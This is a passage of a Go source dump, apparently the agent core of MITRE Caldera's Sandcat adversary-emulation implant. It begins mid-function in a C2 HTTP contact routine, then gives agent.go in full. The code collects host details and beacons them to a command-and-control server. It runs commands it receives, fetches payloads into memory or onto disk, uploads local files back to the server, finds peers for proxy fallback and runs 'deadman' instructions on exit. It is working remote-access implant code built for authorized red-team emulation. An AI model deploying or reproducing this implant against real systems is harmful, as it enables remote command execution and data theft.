a.client.Do(req) 201 | if err != nil { 202 | output.VerbosePrint(fmt.Sprintf("[-] Failed to perform HTTP request: %s", err.Error())) 203 | return nil 204 | } 205 | body, err := ioutil.ReadAll(resp.Body) 206 | if err != nil { 207 | output.VerbosePrint(fmt.Sprintf("[-] Failed to read HTTP response: %s", err.Error())) 208 | return nil 209 | } 210 | decodedBody, err := base64.StdEncoding.DecodeString(string(body)) 211 | if err != nil { 212 | output.VerbosePrint(fmt.Sprintf("[-] Failed to decode HTTP response: %s", err.Error())) 213 | return nil 214 | } 215 | return decodedBody 216 | } -------------------------------------------------------------------------------- /agent/agent.go: -------------------------------------------------------------------------------- 1 | package agent 2 | 3 | import ( 4 | "context" 5 | "encoding/json" 6 | "errors" 7 | "fmt" 8 | "io/ioutil" 9 | "os" 10 | "path/filepath" 11 | "reflect" 12 | "runtime" 13 | "strings" 14 | "sync" 15 | "time" 16 | 17 | "github.com/grandcat/zeroconf" 18 | "github.com/mitre/gocat/contact" 19 | "github.com/mitre/gocat/encoders" 20 | "github.com/mitre/gocat/execute" 21 | "github.com/mitre/gocat/output" 22 | "github.com/mitre/gocat/privdetect" 23 | "github.com/mitre/gocat/proxy" 24 | ) 25 | 26 | var beaconFailureThreshold = 3 27 | 28 | type AgentInterface interface { 29 | Beacon() map[string]interface{} 30 | Initialize(server string, group string, c2Config map[string]string, enableLocalP2pReceivers bool) error 31 | RunInstruction(instruction map[string]interface{}, submitResults bool) 32 | Terminate() 33 | GetFullProfile() map[string]interface{} 34 | GetTrimmedProfile() map[string]interface{} 35 | SetCommunicationChannels(c2Config map[string]string) error 36 | SetPaw(paw string) 37 | Display() 38 | DownloadPayloadsForInstruction(instruction map[string]interface{}) ([]string, map[string][]byte) 39 | FetchPayloadBytes(payload string) []byte 40 | ActivateLocalP2pReceivers() 41 | TerminateLocalP2pReceivers() 42 | HandleBeaconFailure() error 43 | DiscoverPeers() 44 | AttemptSelectComChannel(requestedChannelConfig map[string]string, requestedChannel string) error 45 | GetCurrentContactName() string 46 | UploadFiles(instruction map[string]interface{}) 47 | ProcessExecutorChange(executorChange map[string]interface{}) error 48 | } 49 | 50 | // Implements AgentInterface 51 | type Agent struct { 52 | // Profile fields 53 | server string 54 | tunnelConfig *contact.TunnelConfig 55 | group string 56 | host string 57 | username string 58 | architecture string 59 | platform string 60 | location string 61 | pid int 62 | ppid int 63 | privilege string 64 | exe_name string 65 | paw string 66 | initialDelay float64 67 | originLinkID string 68 | hostIPAddrs []string 69 | availableDataEncoders []string 70 | 71 | // Communication methods 72 | beaconContact contact.Contact 73 | failedBeaconCounter int 74 | upstreamDestAddr string // address of server/peer that agent uses to contact C2 75 | tunnel contact.Tunnel 76 | usingTunnel bool 77 | 78 | // peer-to-peer info 79 | enableLocalP2pReceivers bool 80 | p2pReceiverWaitGroup *sync.WaitGroup 81 | localP2pReceivers map[string]proxy.P2pReceiver // maps P2P protocol to receiver running on this machine 82 | localP2pReceiverAddresses map[string][]string // maps P2P protocol to receiver addresses listening on this machine 83 | availablePeerReceivers map[string][]string // maps P2P protocol to receiver addresses running on peer machines 84 | exhaustedPeerReceivers map[string][]string // maps P2P protocol to receiver addresses that the agent has tried using. 85 | usingPeerReceivers bool // True if connecting to C2 via proxy peer 86 | 87 | // Deadman instructions to run before termination. Will be list of instruction mappings. 88 | deadmanInstructions []map[string]interface{} 89 | } 90 | 91 | // Set up agent variables. 92 | func (a *Agent) Initialize(server string, tunnelConfig *contact.TunnelConfig, group string, c2Config map[string]string, enableLocalP2pReceivers bool, initialDelay int, paw string, originLinkID string) error { 93 | host, err := os.Hostname() 94 | if err != nil { 95 | return err 96 | } 97 | if userName, err := getUsername(); err == nil { 98 | a.username = userName 99 | } else { 100 | return err 101 | } 102 | a.server = server 103 | a.upstreamDestAddr = server 104 | a.tunnelConfig = tunnelConfig 105 | a.tunnel = nil 106 | a.group = group 107 | a.host = host 108 | a.architecture = runtime.GOARCH 109 | a.platform = runtime.GOOS 110 | a.location = os.Args[0] 111 | a.pid = os.Getpid() 112 | a.ppid = os.Getppid() 113 | a.privilege = privdetect.Privlevel() 114 | a.exe_name = filepath.Base(os.Args[0]) 115 | a.initialDelay = float64(initialDelay) 116 | a.failedBeaconCounter = 0 117 | a.originLinkID = originLinkID 118 | a.availableDataEncoders = encoders.GetAvailableDataEncoders() 119 | 120 | a.hostIPAddrs, err = proxy.GetLocalIPv4Addresses() 121 | if err != nil { 122 | return err 123 | } 124 | 125 | // Paw will get initialized after successful beacon if it's not specified via command line 126 | if paw != "" { 127 | a.paw = paw 128 | } 129 | 130 | // Load peer proxy receiver information 131 | a.exhaustedPeerReceivers = make(map[string][]string) 132 | a.usingPeerReceivers = false 133 | a.availablePeerReceivers, err = proxy.GetAvailablePeerReceivers() 134 | a.availablePeerReceivers[c2Config["c2Name"]] = append(a.availablePeerReceivers[c2Config["c2Name"]], server) 135 | if err != nil { 136 | return err 137 | } 138 | a.DiscoverPeers() 139 | 140 | if len(tunnelConfig.Protocol) > 0 { 141 | if err = a.StartTunnel(tunnelConfig); err != nil { 142 | return err 143 | } 144 | } else { 145 | output.VerbosePrint("[*] No tunnel protocol specified. Skipping tunnel setup.") 146 | } 147 | 148 | // Set up contacts 149 | if err = a.SetCommunicationChannels(c2Config); err != nil { 150 | return err 151 | } 152 | 153 | // Set up P2P receivers. 154 | a.enableLocalP2pReceivers = enableLocalP2pReceivers 155 | if a.enableLocalP2pReceivers { 156 | a.localP2pReceivers = make(map[string]proxy.P2pReceiver) 157 | a.localP2pReceiverAddresses = make(map[string][]string) 158 | a.p2pReceiverWaitGroup = &sync.WaitGroup{} 159 | a.ActivateLocalP2pReceivers() 160 | } 161 | return nil 162 | } 163 | 164 | // Returns full profile for agent. 165 | func (a *Agent) GetFullProfile() map[string]interface{} { 166 | return map[string]interface{}{ 167 | "paw": a.paw, 168 | "server": a.server, 169 | "group": a.group, 170 | "host": a.host, 171 | "contact": a.GetCurrentContactName(), 172 | "username": a.username, 173 | "architecture": a.architecture, 174 | "platform": a.platform, 175 | "location": a.location, 176 | "pid": a.pid, 177 | "ppid": a.ppid, 178 | "executors": execute.AvailableExecutors(), 179 | "privilege": a.privilege, 180 | "exe_name": a.exe_name, 181 | "proxy_receivers": a.localP2pReceiverAddresses, 182 | "origin_link_id": a.originLinkID, 183 | "deadman_enabled": true, 184 | "available_contacts": contact.GetAvailableCommChannels(), 185 | "host_ip_addrs": a.hostIPAddrs, 186 | "upstream_dest": a.upstreamDestAddr, 187 | } 188 | } 189 | 190 | // Return minimal subset of agent profile. 191 | func (a *Agent) GetTrimmedProfile() map[string]interface{} { 192 | return map[string]interface{}{ 193 | "paw": a.paw, 194 | "server": a.server, 195 | "platform": a.platform, 196 | "host": a.host, 197 | "contact": a.GetCurrentContactName(), 198 | "upstream_dest": a.upstreamDestAddr, 199 | } 200 | } 201 | 202 | // Pings C2 for instructions and returns them. 203 | func (a *Agent) Beacon() map[string]interface{} { 204 | var beacon map[string]interface{} 205 | profile := a.GetFullProfile() 206 | response := a.beaconContact.GetBeaconBytes(profile) 207 | if response != nil { 208 | beacon = a.processBeacon(response) 209 | } else { 210 | output.VerbosePrint("[-] beacon: DEAD") 211 | } 212 | return beacon 213 | } 214 | 215 | // Converts the given data into a beacon with instructions. 216 | func (a *Agent) processBeacon(data []byte) map[string]interface{} { 217 | var beacon map[string]interface{} 218 | if err := json.Unmarshal(data, &beacon); err != nil { 219 | output.VerbosePrint(fmt.Sprintf("[-] Malformed beacon received: %s", err.Error())) 220 | } else { 221 | var commands interface{} 222 | if err := json.Unmarshal([]byte(beacon["instructions"].(string)), &commands); err != nil { 223 | output.VerbosePrint(fmt.Sprintf("[-] Malformed beacon instructions received: %s", err.Error())) 224 | } else { 225 | output.VerbosePrint(fmt.Sprintf("[+] Beacon (%s): ALIVE", a.GetCurrentContactName())) 226 | beacon["sleep"] = int(beacon["sleep"].(float64)) 227 | beacon["watchdog"] = int(beacon["watchdog"].(float64)) 228 | beacon["instructions"] = commands 229 | } 230 | } 231 | return beacon 232 | } 233 | 234 | // If too many consecutive failures occur for the current communication method, switch to a new proxy method. 235 | // Return an error if switch fails. 236 | func (a *Agent) HandleBeaconFailure() error { 237 | a.failedBeaconCounter += 1 238 | if a.failedBeaconCounter >= beaconFailureThreshold { 239 | // Reset counter and try switching proxy methods 240 | a.failedBeaconCounter = 0 241 | output.VerbosePrint("[!] Reached beacon failure threshold. Attempting to switch to new peer proxy method.") 242 | a.usingTunnel = false 243 | return a.findAvailablePeerProxyClient() 244 | } 245 | return nil 246 | } 247 | 248 | func (a *Agent) Terminate() { 249 | // Add any cleanup/termination functionality here. 250 | output.VerbosePrint("[*] Beginning agent termination.") 251 | if a.enableLocalP2pReceivers { 252 | a.TerminateLocalP2pReceivers() 253 | } 254 | 255 | // Run deadman instructions prior to termination 256 | a.ExecuteDeadmanInstructions() 257 | output.VerbosePrint("[*] Terminating Sandcat Agent... goodbye.") 258 | } 259 | 260 | // Runs a single instruction and send results if specified. 261 | // Will handle payload downloads according to executor. 262 | func (a *Agent) RunInstruction(instruction map[string]interface{}, submitResults bool) { 263 | result := a.runInstructionCommand(instruction) 264 | if submitResults { 265 | output.VerbosePrint(fmt.Sprintf("[*] Submitting results for link %s via C2 channel %s", result["id"].(string), a.GetCurrentContactName())) 266 | a.beaconContact.SendExecutionResults(a.GetTrimmedProfile(), result) 267 | } 268 | a.UploadFiles(instruction) 269 | } 270 | 271 | func (a *Agent) runInstructionCommand(instruction map[string]interface{}) map[string]interface{} { 272 | onDiskPayloads, inMemoryPayloads := a.DownloadPayloadsForInstruction(instruction) 273 | info := execute.InstructionInfo{ 274 | Profile: a.GetTrimmedProfile(), 275 | Instruction: instruction, 276 | OnDiskPayloads: onDiskPayloads, 277 | InMemoryPayloads: inMemoryPayloads, 278 | } 279 | 280 | // Execute command 281 | commandOutput, status, pid, commandTimestamp := execute.RunCommand(info) 282 | 283 | // Clean up payloads 284 | a.removePayloadsOnDisk(onDiskPayloads) 285 | 286 | // Handle results 287 | result := make(map[string]interface{}) 288 | result["id"] = instruction["id"] 289 | result["output"] = commandOutput 290 | result["status"] = status 291 | result["pid"] = pid 292 | result["agent_reported_time"] = getFormattedTimestamp(commandTimestamp, "2006-01-02T15:04:05Z") 293 | return result 294 | } 295 | 296 | func (a *Agent) UploadFiles(instruction map[string]interface{}) { 297 | if instruction["uploads"] != nil && len(instruction["uploads"].([]interface{})) > 0 { 298 | uploads, ok := instruction["uploads"].([]interface{}) 299 | if !ok { 300 | output.VerbosePrint(fmt.Sprintf( 301 | "[!] Error: expected []interface{}, but received %T for upload info", 302 | instruction["uploads"], 303 | )) 304 | return 305 | } 306 | 307 | for _, path := range uploads { 308 | filePath := path.(string) 309 | if err := a.uploadSingleFile(filePath); err != nil { 310 | output.VerbosePrint(fmt.Sprintf("[!] Error uploading file %s: %v", filePath, err.Error())) 311 | } 312 | } 313 | } 314 | } 315 | 316 | func (a *Agent) uploadSingleFile(path string) error { 317 | output.VerbosePrint(fmt.Sprintf("Uploading file: %s", path)) 318 | 319 | // Get file bytes 320 | fetchedBytes, err := ioutil.ReadFile(path) 321 | if err != nil { 322 | return err 323 | } 324 | 325 | return a.beaconContact.UploadFileBytes(a.GetFullProfile(), filepath.Base(path), fetchedBytes) 326 | } 327 | 328 | func (a *Agent) removePayloadsOnDisk(payloads []string) { 329 | for _, payloadPath := range payloads { 330 | err := os.Remove(payloadPath) 331 | if err != nil { 332 | output.VerbosePrint("[!] Failed to delete payload: " + payloadPath) 333 | } 334 | } 335 | } 336 | 337 | // Sets the communication channels for the agent according to the specified channel configuration map. 338 | // Will resort to peer-to-peer if agent doesn't support the requested channel or if the C2's requirements 339 | // are not met. If the original requested channel cannot be used and there are no compatible peer proxy receivers, 340 | // then an error will be returned. 341 | // This method does not test connectivity to the requested server or to proxy receivers. 342 | func (a *Agent) SetCommunicationChannels(requestedChannelConfig map[string]string) error { 343 | if len(contact.CommunicationChannels) > 0 { 344 | if requestedChannel, ok := requestedChannelConfig["c2Name"]; ok { 345 | if err := a.AttemptSelectComChannel(requestedChannelConfig, requestedChannel); err == nil { 346 | return nil 347 | } else { 348 | output.VerbosePrint(fmt.Sprintf("[!] Error setting comm channel: %v", err.Error())) 349 | } 350 | } 351 | // Original requested channel not found. See if we can use any available peer-to-peer-proxy receivers. 352 | output.VerbosePrint("[!] Requested communication channel not valid or available. Resorting to peer-to-peer.") 353 | return a.findAvailablePeerProxyClient() 354 | } 355 | return errors.New("No possible C2 communication channels found.") 356 | } 357 | 358 | // Attempts to set a given communication channel for the agent. 359 | func (a *Agent) AttemptSelectComChannel(requestedChannelConfig map[string]string, requestedChannel string) error { 360 | coms, ok := contact.CommunicationChannels[requestedChannel] 361 | output.VerbosePrint(fmt.Sprintf("[*] Attempting to set channel %s", requestedChannel)) 362 | if !ok { 363 | return errors.New(fmt.Sprintf("%s channel not available", requestedChannel)) 364 | } 365 | coms.SetUpstreamDestAddr(a.upstreamDestAddr) 366 | valid, config := coms.C2RequirementsMet(a.GetFullProfile(), requestedChannelConfig) 367 | if valid { 368 | if config != nil { 369 | a.modifyAgentConfiguration(config) 370 | } 371 | a.updateUpstreamComs(coms) 372 | output.VerbosePrint(fmt.Sprintf("[*] Set communication channel to %s", requestedChannel)) 373 | return nil 374 | } 375 | return errors.New(fmt.Sprintf("%s channel available, but requirements not met.", requestedChannel)) 376 | } 377 | 378 | // Outputs information about the agent. 379 | func (a *Agent) Display() { 380 | output.VerbosePrint(fmt.Sprintf("initial delay=%d", int(a.initialDelay))) 381 | output.VerbosePrint(fmt.Sprintf("server=%s", a.server)) 382 | output.VerbosePrint(fmt.Sprintf("upstream dest addr=%s", a.upstreamDestAddr)) 383 | output.VerbosePrint(fmt.Sprintf("group=%s", a.group)) 384 | output.VerbosePrint(fmt.Sprintf("privilege=%s", a.privilege)) 385 | output.VerbosePrint(fmt.Sprintf("allow local p2p receivers=%v", a.enableLocalP2pReceivers)) 386 | output.VerbosePrint(fmt.Sprintf("beacon channel=%s", a.GetCurrentContactName())) 387 | if a.enableLocalP2pReceivers { 388 | a.displayLocalReceiverInformation() 389 | } 390 | if a.usingTunnel { 391 | output.VerbosePrint(fmt.Sprintf("Local tunnel endpoint=%s", a.upstreamDestAddr)) 392 | } 393 | output.VerbosePrint(fmt.Sprintf("available data encoders=%s", strings.Join(a.availableDataEncoders, ", "))) 394 | } 395 | 396 | func (a *Agent) displayLocalReceiverInformation() { 397 | for receiverName, _ := range proxy.P2pReceiverChannels { 398 | if _, ok := a.localP2pReceivers[receiverName]; ok { 399 | output.VerbosePrint(fmt.Sprintf("P2p receiver %s=activated", receiverName)) 400 | } else { 401 | output.VerbosePrint(fmt.Sprintf("P2p receiver %s=NOT activated", receiverName)) 402 | } 403 | } 404 | for protocol, addressList := range a.localP2pReceiverAddresses { 405 | for _, address := range addressList { 406 | output.VerbosePrint(fmt.Sprintf("%s local proxy receiver available at %s", protocol, address)) 407 | } 408 | } 409 | } 410 | 411 | // Will download each individual payload listed for the given executor. The executor will determine 412 | // which payloads get written to disk, and which ones get saved in memory. 413 | // Returns list of payload names for the payloads written to disk, and a map of payload names linked to their 414 | // respective bytes for payloads saved in memory. 415 | func (a *Agent) DownloadPayloadsForInstruction(instruction map[string]interface{}) ([]string, map[string][]byte) { 416 | payloads := instruction["payloads"].([]interface{}) 417 | executorName := instruction["executor"].(string) 418 | executor, ok := execute.Executors[executorName] 419 | var onDiskPayloadNames []string 420 | inMemoryPayloads := make(map[string][]byte) 421 | if !ok { 422 | output.VerbosePrint(fmt.Sprintf("[!] No executor found for executor name %s. Not downloading payloads.", executorName)) 423 | return onDiskPayloadNames, inMemoryPayloads 424 | } 425 | availablePayloads := reflect.ValueOf(payloads) 426 | for i := 0; i < availablePayloads.Len(); i++ { 427 | payloadName := availablePayloads.Index(i).Elem().String() 428 | payloadBytes, filename := a.FetchPayloadBytes(payloadName) 429 | if len(payloadBytes) == 0 || len(filename) == 0 { 430 | output.VerbosePrint(fmt.Sprintf("Failed to fetch payload bytes for payload %s", payloadName)) 431 | continue 432 | } 433 | 434 | // Ask executor what to do with the payload bytes (keep in memory or save to disk) 435 | if executor.DownloadPayloadToMemory(payloadName) { 436 | output.VerbosePrint(fmt.Sprintf("[*] Storing payload %s in memory", payloadName)) 437 | inMemoryPayloads[payloadName] = payloadBytes 438 | } else { 439 | if location, err := a.WritePayloadToDisk(payloadName, payloadBytes); err != nil { 440 | output.VerbosePrint(fmt.Sprintf("[-] %s", err.Error())) 441 | } else { 442 | onDiskPayloadNames = append(onDiskPayloadNames, location) 443 | } 444 | } 445 | } 446 | return onDiskPayloadNames, inMemoryPayloads 447 | } 448 | 449 | // Will download the specified payload data to disk using the specified filename. 450 | // Returns filepath of the payload and any errors that occurred. If the payload already exists, 451 | // no error will be returned. 452 | func (a *Agent) WritePayloadToDisk(filename string, payloadBytes []byte) (string, error) { 453 | location := filepath.Join(filename) 454 | if !fileExists(location) { 455 | output.VerbosePrint(fmt.Sprintf("[*] Writing payload %s to disk at %s", filename, location)) 456 | return location, writePayloadBytes(location, payloadBytes) 457 | } 458 | output.VerbosePrint(fmt.Sprintf("[*] File %s already exists", filename)) 459 | return location, nil 460 | } 461 | 462 | // Will request payload bytes from the C2 for the specified payload and return them. 463 | func (a *Agent) FetchPayloadBytes(payload string) ([]byte, string) { 464 | output.VerbosePrint(fmt.Sprintf("[*] Fetching new payload bytes via C2 channel %s: %s", a.GetCurrentContactName(), payload)) 465 | return a.beaconContact.GetPayloadBytes(a.GetTrimmedProfile(), payload) 466 | } 467 | 468 | func (a *Agent) Sleep(sleepTime float64) { 469 | time.Sleep(time.Duration(sleepTime) * time.Second) 470 | } 471 | 472 | func (a *Agent) GetPaw() string { 473 | return a.paw 474 | } 475 | 476 | func (a *Agent) SetPaw(paw string) { 477 | if len(paw) > 0 { 478 | a.paw = paw 479 | if a.enableLocalP2pReceivers { 480 | for _, receiver := range a.localP2pReceivers { 481 | receiver.UpdateAgentPaw(paw) 482 | } 483 | } 484 | } 485 | } 486 | 487 | func (a *Agent) GetBeaconContact() contact.Contact { 488 | return a.beaconContact 489 | } 490 | 491 | func (a *Agent) StoreDeadmanInstruction(instruction map[string]interface{}) { 492 | a.deadmanInstructions = append(a.deadmanInstructions, instruction) 493 | } 494 | 495 | func (a *Agent) ExecuteDeadmanInstructions() { 496 | for _, instruction := range a.deadmanInstructions { 497 | output.VerbosePrint(fmt.Sprintf("[*] Running deadman instruction %s", instruction["id"])) 498 | a.RunInstruction(instruction, false) 499 | } 500 | } 501 | 502 | func (a *Agent) modifyAgentConfiguration(config map[string]string) { 503 | if val, ok := config["paw"]; ok { 504 | a.SetPaw(val) 505 | } 506 | if val, ok := config["upstreamDest"]; ok { 507 | a.updateUpstreamDestAddr(val) 508 | } 509 | } 510 | 511 | func (a *Agent) updateUpstreamDestAddr(newDestAddr string) { 512 | a.upstreamDestAddr = newDestAddr 513 | if a.beaconContact != nil { 514 | a.beaconContact.SetUpstreamDestAddr(newDestAddr) 515 | } 516 | } 517 | 518 | func (a *Agent) updateUpstreamComs(newComs contact.Contact) { 519 | a.beaconContact = newComs 520 | } 521 | 522 | func (a *Agent) evaluateNewPeers(results <-chan *zeroconf.ServiceEntry) { 523 | for entry := range results { 524 | for _, ip := range entry.AddrIPv4 { 525 | a.mergeNewPeers(entry.Text[0], fmt.Sprintf("%s:%d", ip, entry.Port)) 526 | } 527 | } 528 | } 529 | 530 | func (a *Agent) mergeNewPeers(proxyChannel string, ipPort string) { 531 | peer := fmt.Sprintf("%s://%s", strings.ToLower(proxyChannel), ipPort) 532 | allPeers := append(a.availablePeerReceivers[proxyChannel], a.exhaustedPeerReceivers[proxyChannel]...) 533 | for _, existingPeer := range allPeers { 534 | if peer == existingPeer { 535 | return 536 | } 537 | } 538 | for protocol, addressList := range a.localP2pReceiverAddresses { 539 | if proxyChannel == protocol { 540 | for _, address := range addressList { 541 | if peer == address { 542 | return 543 | } 544 | } 545 | } 546 | } 547 | a.availablePeerReceivers[proxyChannel] = append(a.availablePeerReceivers[proxyChannel], peer) 548 | output.VerbosePrint(fmt.Sprintf("[*] new peer added: %s", peer)) 549 | } 550 | 551 | func (a *Agent) DiscoverPeers() { 552 | // Recover on any panic on the external module call and not take down the whole agent. 553 | defer func() { 554 | if err := recover(); err != nil { 555 | output.VerbosePrint(fmt.Sprintf("[-] Panic occurred when calling zeroconf:", err)) 556 | } 557 | }() 558 | 559 | // Discover all services on the network (e.g. _workstation._tcp) 560 | resolver, err := zeroconf.NewResolver(nil) 561 | if err != nil { 562 | output.VerbosePrint(fmt.Sprintf("[-] Failed to initialize zeroconf resolver: %s", err.Error())) 563 | } 564 | 565 | entries := make(chan *zeroconf.ServiceEntry) 566 | go a.evaluateNewPeers(entries) 567 | 568 | ctx, cancel := context.WithTimeout(context.Background(), time.Second*1) 569 | defer cancel() 570 | err = resolver.Browse(ctx, "_service._comms", "local.", entries) 571 | if err != nil { 572 | output.VerbosePrint(fmt.Sprintf("[-] Failed to browse for peers: %s", err.Error())) 573 | } 574 | 575 | <-ctx.Done() 576 | } 577 | 578 | func (a *Agent) GetCurrentContactName() string { 579 | if currContact := a.GetBeaconContact(); currContact != nil { 580 | return currContact.GetName() 581 | } 582 | return "" 583 | } 584 | 585 | func (a *Agent) ProcessExecutorChange(executorUpdateMap interface{}) error { 586 | executorUpdate, ok := executorUpdateMap.(map[string]interface{}) 587 | if !ok { 588 | return errors.New("Malformed executor update mapping.") 589 | } 590 | executorName := executorUpdate["executor"].(string) 591 | action := executorUpdate["action"].(string) 592 | value := executorUpdate["value"] 593 | if len(executorName) > 0 && len(action) > 0 { 594 | executor, ok := execute.Executors[executorName] 595 | if !ok { 596 | return errors.New(fmt.Sprintf("[Executor not found for %s", executorName)) 597 | } 598 | switch action { 599 | case "remove": 600 | output.VerbosePrint(fmt.Sprintf("[*] Removing executor %s", executorName)) 601 | execute.RemoveExecutor(executorName) 602 | return nil 603 | case "update_path": 604 | newPath, ok := value.(string) 605 | if !ok { 606 | return errors.New(fmt.Sprintf( 607 | "[!] Error: expected string for new executor path, but received %T", 608 | value, 609 | )) 610 | } 611 | output.VerbosePrint(fmt.Sprintf("[*] Updating executor %s with new path %s", executorName, newPath)) 612 | executor.UpdateBinary(newPath) 613 | return nil 614 | default: 615 | return errors.New(fmt.Sprintf("[!] Error: executor update action %s not supported", action)) 616 | } 617 | } else { 618 | return errors.New("Missing executor name or action for executor update.") 619 | } 620 | } 621 | --------------------------------------------------------------------------------